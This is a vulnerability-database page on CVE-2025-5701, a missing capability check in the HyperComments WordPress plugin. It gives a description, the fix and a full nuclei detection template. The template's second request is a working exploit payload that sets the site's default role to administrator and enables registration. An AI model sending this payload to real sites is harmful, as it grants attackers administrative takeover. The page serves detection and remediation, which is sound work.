HexBrain

Browse / CVEs / CVE-2025-5701

CVE-2025-5701· wordpress / hypercomments· CWE-862

HyperComments <= 1.2.2 - Arbitrary Options Update

criticalseverity
9.8CVSS score
2.2%likelihood of exploitation, next 30 days
83%of all CVEs are less likely
Readycheck to confirm it

The HyperComments plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the hc_request_handler function in all versions up to, and including, 1.2.2. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.

Impact

Unauthenticated attackers can update arbitrary WordPress options including default user roles, enabling privilege escalation to administrator access through self-registration.

Fix

Upgrade HyperComments plugin to a version later than 1.2.2 that implements proper capability checks on the hc_request_handler function.

How to confirm it

Send: GET /wp-content/plugins/hypercomments/readme.txt
Positive when: compare_versions(detected_version, "<= 1.2.2")
Send: POST /wp-admin/index.php?hc_action=update_options
Positive when: matches /(?i)\{\s*"result"\s*:\s*"success"\s*\}/ AND status 200

Run it with nuclei: nuclei -id CVE-2025-5701 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2025-5701

info:
  name: HyperComments <= 1.2.2 - Arbitrary Options Update
  author: kylew1004
  severity: critical
  description: |
    The HyperComments plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the hc_request_handler function in all versions up to, and including, 1.2.2. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.
  impact: |
    Unauthenticated attackers can update arbitrary WordPress options including default user roles, enabling privilege escalation to administrator access through self-registration.
  remediation: |
    Upgrade HyperComments plugin to a version later than 1.2.2 that implements proper capability checks on the hc_request_handler function.
  reference:
    - https://github.com/Nxploited/CVE-2025-5701/blob/main/CVE-2025-5701.py
    - https://nvd.nist.gov/vuln/detail/CVE-2025-5701
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-5701
    epss-score: 0.02234
    epss-percentile: 0.82925
    cwe-id: CWE-862
  metadata:
    verified: false
    max-request: 2
    vendor: wordpress
    product: hypercomments
    fofa-query: body="/wp-content/plugins/hypercomments"
  tags: cve,cve2025,wp,wp-plugin,wordpress,hypercomments,priv-esc,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/hypercomments/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - compare_versions(detected_version, "<= 1.2.2")
        internal: true

    extractors:
      - type: regex
        part: body
        name: detected_version
        group: 1
        regex:
          - '(?i)Stable.tag:\s?([\w.]+)'
        internal: true

  - raw:
      - |
        POST /wp-admin/index.php?hc_action=update_options HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {"default_role":"administrator","users_can_register":"1"}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '(?i)\{\s*"result"\s*:\s*"success"\s*\}'

      - type: status
        status:
          - 200

    extractors:
      - type: dsl
        dsl:
          - '"version: " + detected_version'

References

Use this check only on systems you are authorised to test. Where the data comes from